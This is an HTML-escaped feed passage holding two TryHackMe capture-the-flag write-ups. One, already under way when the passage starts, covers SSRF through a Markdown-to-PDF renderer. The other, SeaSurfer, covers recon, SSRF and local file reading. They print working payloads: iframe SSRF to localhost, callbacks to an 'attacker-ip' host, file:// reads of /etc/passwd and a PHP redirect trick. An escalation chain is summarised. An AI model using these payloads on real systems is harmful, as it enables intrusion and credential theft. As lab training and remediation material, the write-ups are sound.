&lt;p&gt;This is the key finding: &lt;code&gt;/admin&lt;/code&gt; is gated by an &lt;strong&gt;IP/host-based check&lt;/strong&gt; rather than real authentication. The app only serves that page when the incoming request appears to originate from &lt;code&gt;localhost&lt;/code&gt; on port 5000 - i.e., from the server talking to itself.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Chaining HTML Injection + SSRF to Reach &lt;code&gt;/admin&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Since Step 3 established that the PDF-rendering engine makes its HTTP requests &lt;em&gt;from the server itself&lt;/em&gt;, and Step 4 established that &lt;code&gt;/admin&lt;/code&gt; trusts any request that looks like it came from &lt;code&gt;localhost:5000&lt;/code&gt;, the two issues chain together perfectly:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If the &lt;strong&gt;renderer&lt;/strong&gt; (running on the server) requests &lt;code&gt;/admin&lt;/code&gt; on &lt;code&gt;localhost:5000&lt;/code&gt;, the request genuinely &lt;em&gt;does&lt;/em&gt; originate from localhost - the "internal only" check passes, because it isn't actually checking identity, just request origin.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The following payload was submitted to the converter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;b&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://localhost:5000/admin"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/b&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server-side renderer loaded this HTML, resolved the iframe's &lt;code&gt;src&lt;/code&gt;, and - because it was making the request locally - successfully retrieved the normally-forbidden &lt;code&gt;/admin&lt;/code&gt; page. That rendered content was then embedded into the output PDF, which &lt;em&gt;was&lt;/em&gt; downloadable by the attacker.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Result
&lt;/h2&gt;

&lt;p&gt;Opening the generated PDF revealed the contents of the admin page, including the challenge flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flag{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Root Cause Analysis
&lt;/h2&gt;

&lt;p&gt;Two separate weaknesses combined to produce this vulnerability:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Unsanitized HTML input to a server-side renderer.&lt;/strong&gt;&lt;br&gt;
The application accepts raw HTML (not just Markdown) and passes it directly into a rendering engine capable of making outbound HTTP requests (via &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;, and likely &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt;, etc.). No tag/attribute allowlist or sandboxing was applied.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Access control based on request origin instead of authentication.&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;/admin&lt;/code&gt; is protected only by a check of &lt;em&gt;where the request appears to come from&lt;/em&gt; (&lt;code&gt;localhost:5000&lt;/code&gt;). This is not a security boundary when something on that same host (like the PDF renderer) can be convinced to make requests on an attacker's behalf. "Is this localhost?" is not equivalent to "is this an authenticated admin?"&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Together, these allow an unauthenticated external user to indirectly make authenticated-looking requests to internal-only endpoints - a textbook SSRF-to-access-control-bypass chain.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Remediation Recommendations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sanitize HTML input&lt;/strong&gt; before rendering: strip or allowlist tags (removing &lt;code&gt;iframe&lt;/code&gt;, &lt;code&gt;img&lt;/code&gt;, &lt;code&gt;object&lt;/code&gt;, &lt;code&gt;embed&lt;/code&gt;, &lt;code&gt;script&lt;/code&gt;, and similar resource-loading/network-capable elements) if the app is genuinely only meant to accept Markdown.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network-isolate the renderer&lt;/strong&gt;: run the PDF rendering process in a container/namespace with no route to internal services (deny-by-default egress, or an explicit allowlist of nothing).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never trust "localhost" as an authorization mechanism.&lt;/strong&gt; Any service that can be tricked into making a loopback request (renderers, image proxies, webhook handlers, URL preview features, etc.) defeats this check trivially. Protect sensitive endpoints with real authentication (tokens, session checks, mTLS) instead of request-origin checks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Disable dangerous URL schemes&lt;/strong&gt; (&lt;code&gt;file://&lt;/code&gt;, &lt;code&gt;gopher://&lt;/code&gt;, etc.) in the renderer regardless of the above, as defense in depth.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Timeline Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Outcome&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Port scan (&lt;code&gt;rustscan&lt;/code&gt;, &lt;code&gt;nmap&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Found ports 22, 80, 5000 - both 80/5000 run MD2PDF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Injected &lt;code&gt;&amp;lt;b&amp;gt;&lt;/code&gt; tag into Markdown input&lt;/td&gt;
&lt;td&gt;Confirmed unsanitized HTML injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Injected &lt;code&gt;&amp;lt;iframe src="http://&amp;lt;external-ip&amp;gt;"&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Confirmed SSRF - server makes outbound requests&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;feroxbuster&lt;/code&gt; directory scan&lt;/td&gt;
&lt;td&gt;Found &lt;code&gt;/admin&lt;/code&gt; (403, "internal only")&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Injected &lt;code&gt;&amp;lt;iframe src="http://localhost:5000/admin"&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Renderer fetched &lt;code&gt;/admin&lt;/code&gt; locally, bypassing the restriction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Opened resulting PDF&lt;/td&gt;
&lt;td&gt;Flag disclosed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  9. Attack Chain
&lt;/h2&gt;

&lt;p&gt;A condensed view of how each weakness fed into the next:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Unsanitized Markdown input
        │
        ▼
Raw HTML is rendered server-side (HTML Injection confirmed)
        │
        ▼
&amp;lt;iframe&amp;gt; causes the renderer to make its OWN outbound request (SSRF confirmed)
        │
        ▼
feroxbuster finds /admin -&amp;gt; blocked unless request looks like it's from localhost:5000
        │
        ▼
Inject &amp;lt;iframe src="http://localhost:5000/admin"&amp;gt;
        │
        ▼
Renderer (running ON the server) requests /admin FROM localhost
        │
        ▼
"Internal only" check passes - request genuinely IS local
        │
        ▼
/admin content is rendered into the output PDF
        │
        ▼
Attacker downloads PDF -&amp;gt; reads restricted admin page -&amp;gt; flag disclosed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In short: &lt;strong&gt;HTML Injection gave control over what the renderer does -&amp;gt; SSRF gave the ability to make the renderer issue requests on the attacker's behalf -&amp;gt; a flawed "localhost-only" access check was satisfied because the request really did come from localhost (just not from a trusted party).&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  10. Key Vulnerabilities and Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Why It's Exploitable&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;HTML Injection&lt;/strong&gt; - the Markdown input field renders raw HTML unsanitized&lt;/td&gt;
&lt;td&gt;Lets an attacker control exactly what the server-side renderer loads and executes, instead of only safe Markdown-derived output&lt;/td&gt;
&lt;td&gt;Sanitize/strip input before rendering; allowlist safe Markdown-only elements and strip tags like &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;embed&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; with remote &lt;code&gt;src&lt;/code&gt; if they aren't needed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Server-Side Request Forgery (SSRF)&lt;/strong&gt; - the rendering engine fetches remote resources (e.g., iframe &lt;code&gt;src&lt;/code&gt;) on the server's behalf&lt;/td&gt;
&lt;td&gt;Allows an external attacker to make the server issue network requests to arbitrary destinations, including internal-only services&lt;/td&gt;
&lt;td&gt;Run the renderer in a network-isolated sandbox/container with no route to internal services; enforce a strict egress allowlist (ideally none); disable dangerous schemes like &lt;code&gt;file://&lt;/code&gt; and &lt;code&gt;gopher://&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Broken access control on &lt;code&gt;/admin&lt;/code&gt;&lt;/strong&gt; - protected only by checking if the request appears to come from &lt;code&gt;localhost:5000&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Request-origin checks don't verify &lt;em&gt;who&lt;/em&gt; is asking, only &lt;em&gt;where&lt;/em&gt; the request appears to originate from - trivially spoofable by anything else running on the same host (like the renderer)&lt;/td&gt;
&lt;td&gt;Require real authentication (session tokens, credentials, mTLS) for sensitive endpoints instead of relying on source-IP/hostname checks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Lack of defense in depth&lt;/strong&gt; - a single injection point led directly to full internal endpoint disclosure&lt;/td&gt;
&lt;td&gt;No compensating controls existed between "attacker can inject HTML" and "attacker can read restricted admin data"&lt;/td&gt;
&lt;td&gt;Layer controls: input sanitization AND network isolation AND proper authentication, so that no single flaw results in full compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>cybersecyurity</category>
      <category>ctf</category>
      <category>ryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe - SeaSurfer writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 07 Oct 2026 10:35:41 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-seasurfer-writeup-302k</link>
      <guid>https://dev.to/exploitnotes/tryhackme-seasurfer-writeup-302k</guid>
      <description>&lt;h2&gt;
  
  
  Executive Summary
&lt;/h2&gt;

&lt;p&gt;The engagement began with a single disclosed virtual host name leaking out of an HTTP response header on the target web server. That one leak unraveled the entire box: it led to a WordPress site, an internal-only receipt-generation application, and an exposed database admin panel. The receipt app turned out to echo every form field straight into HTML that was then rendered server-side into a PDF, with no output encoding at all. That reflected injection was first used to confirm a Server-Side Request Forgery (SSRF - outbound HTTP to attacker infrastructure), and then upgraded to a Local File Inclusion (LFI) that read &lt;code&gt;/etc/passwd&lt;/code&gt; and, critically, WordPress's &lt;code&gt;wp-config.php&lt;/code&gt;. The leaked database credentials unlocked the previously-found Adminer panel, which exposed the WordPress users table, including a crackable password hash. The cracked password was valid for the WordPress admin panel, where the built-in Theme File Editor was used to drop a PHP payload and obtain a reverse shell as &lt;code&gt;www-data&lt;/code&gt;. From there, a poorly-written backup cron job running &lt;code&gt;tar&lt;/code&gt; with a wildcard in a web-writable directory was abused for classic tar wildcard code execution, escalating to the &lt;code&gt;kyle&lt;/code&gt; user. Finally, a stray SSH agent socket left behind by another session, combined with a &lt;code&gt;pam_ssh_agent_auth&lt;/code&gt; sudo configuration, allowed &lt;code&gt;kyle&lt;/code&gt; to authenticate &lt;code&gt;sudo&lt;/code&gt; using an agent-held key that was never supposed to be reachable, yielding a full &lt;code&gt;root&lt;/code&gt; shell.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.1 Port Scan
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; machine-ip &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000
nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80 &lt;span class="nt"&gt;-oN&lt;/span&gt; sea-surfer-nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;ssh&lt;/td&gt;
&lt;td&gt;OpenSSH 8.2p1 Ubuntu 4ubuntu0.13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;http&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.41 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  1.2 VHost Disclosure via Response Header
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;curl&lt;/code&gt; to the bare IP returned the stock Apache default page, but a verbose request leaked the real backend vhost name in a custom header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-iv&lt;/span&gt; http://machine-ip/
...
&amp;lt; X-Backend-Server: seasurfer.thm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Added to &lt;code&gt;/etc/hosts&lt;/code&gt;: &lt;code&gt;machine-ip seasurfer.thm&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Main Site Enumeration - seasurfer.thm
&lt;/h2&gt;

&lt;p&gt;Browsing the vhost revealed a &lt;strong&gt;WordPress 5.9.3&lt;/strong&gt; site ("Sea Surfer - Ride the Wave!") using the &lt;strong&gt;twentyseventeen&lt;/strong&gt; theme and the &lt;strong&gt;team-members&lt;/strong&gt; plugin. The "About" page's staff directory (Maya Martins - Owner, Brandon Baker - Salesman, &lt;strong&gt;Kyle King - Sysadmin&lt;/strong&gt;, described as &lt;em&gt;"a very proficient PHP coder"&lt;/em&gt;) provided candidate usernames later confirmed to matter - &lt;code&gt;kyle&lt;/code&gt; turned out to be the actual low-privilege system/WordPress account.&lt;/p&gt;

&lt;p&gt;An &lt;code&gt;ffuf&lt;/code&gt; directory/vhost sweep against &lt;code&gt;seasurfer.thm&lt;/code&gt; turned up an exposed &lt;strong&gt;Adminer 4.8.1&lt;/strong&gt; database-management panel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://seasurfer.thm/adminer/?username=&amp;amp;db=wp-users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point it couldn't be used - no valid credentials were known yet, and blank credentials returned &lt;code&gt;Access denied for user '@localhost' (using password: NO)&lt;/code&gt;. This panel was bookmarked for later.&lt;/p&gt;

&lt;p&gt;A separate &lt;code&gt;ffuf&lt;/code&gt; VHost-header fuzz identified a second virtual host not linked anywhere on the public site:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://seasurfer.thm/ &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"HOST: FUZZ.seasurfer.thm"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt &lt;span class="nt"&gt;-ac&lt;/span&gt;
...
internal   &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 3072, Words: 225, Lines: 109, Duration: 212ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Added to &lt;code&gt;/etc/hosts&lt;/code&gt;: &lt;code&gt;machine-ip internal.seasurfer.thm&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. internal.seasurfer.thm - Receipt Generator
&lt;/h2&gt;

&lt;p&gt;The internal-only app is a simple "create a receipt" form (&lt;code&gt;index.php&lt;/code&gt;) that posts to &lt;code&gt;output.php&lt;/code&gt;, which renders &lt;code&gt;invoice.php&lt;/code&gt; into a PDF saved under &lt;code&gt;/invoices/&amp;lt;id&amp;gt;.pdf&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.1 Root Cause - No Output Encoding
&lt;/h3&gt;

&lt;p&gt;A shell obtained later in the engagement confirmed the source directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;// invoice.php (excerpt)
Receipt ID: &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
Customer name: &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
Additional information: &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'comment'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
Payment: &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'payment'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
foreach ($_GET as $key =&amp;gt; $value) {
    if (strpos($key, 'item') === 0)  echo "&lt;span class="nt"&gt;&amp;lt;tr&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;'item'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;td&amp;gt;&lt;/span&gt;$value&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;";
    if (strpos($key, 'price') === 0) echo "&lt;span class="nt"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;\$$value&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;";
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Every single query parameter is echoed directly into the HTML with zero sanitization or escaping&lt;/strong&gt;, and that HTML is then rendered server-side into a PDF. This is the single root cause behind the injection, SSRF, and LFI findings below.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Confirming HTML Injection
&lt;/h3&gt;

&lt;p&gt;Submitting &lt;code&gt;&amp;lt;b&amp;gt;test&amp;lt;b/test&amp;gt;&lt;/code&gt; as the comment rendered as bold text in the generated PDF - confirming the field is interpreted as raw HTML by the PDF rendering engine, not displayed as plain text.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.3 SSRF - Outbound Callback
&lt;/h3&gt;

&lt;p&gt;HTML-to-PDF converters (wkhtmltopdf and similar) fetch any external resource referenced in rendered HTML - from the &lt;strong&gt;server&lt;/strong&gt;, not the client.&lt;/p&gt;

&lt;p&gt;Payload (submitted as the comment):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://attacker-ip/"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Listener on the attacker host:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result - the attacker's listener received a callback &lt;strong&gt;from the target&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;machine-ip - - [06/Oct/2026 17:30:54] "GET / HTTP/1.1" 200 -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SSRF confirmed: the PDF renderer, running server-side, follows attacker-controlled URLs.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.4 LFI - Reading Local Files
&lt;/h3&gt;

&lt;p&gt;Several &lt;code&gt;file://&lt;/code&gt; payload shapes were tried without success first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"file://etc/passwd"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;object&lt;/span&gt; &lt;span class="na"&gt;data=&lt;/span&gt;&lt;span class="s"&gt;"file:///etc/passwd"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/plain"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/object&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"file:///etc/passwd"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;style&amp;gt;body&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;background-image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sx"&gt;url('file:///etc/passwd')&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;xhr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;file:///etc/passwd&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;responseText&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;None of the direct &lt;code&gt;file://&lt;/code&gt; payloads above actually worked, no matter the tag or the exact slash count - the renderer simply would not resolve a &lt;code&gt;file://&lt;/code&gt; URI placed straight into the injected HTML. The technique that actually worked was indirect: hosting a small PHP redirector on the attacker machine and pointing the injected &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; at &lt;em&gt;that&lt;/em&gt;, letting the PDF renderer follow a same-origin-looking HTTP response that then 302-redirects it to a &lt;code&gt;file://&lt;/code&gt; URI itself.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;// redirect.php (hosted on the attacker machine)
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Location: file:///etc/passwd"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;php &lt;span class="nt"&gt;-S&lt;/span&gt; 0.0.0.0:80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Injection payload (submitted as the comment field):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://attacker-ip/redirect.php"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"width:1000px;height:5000px;border:none;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



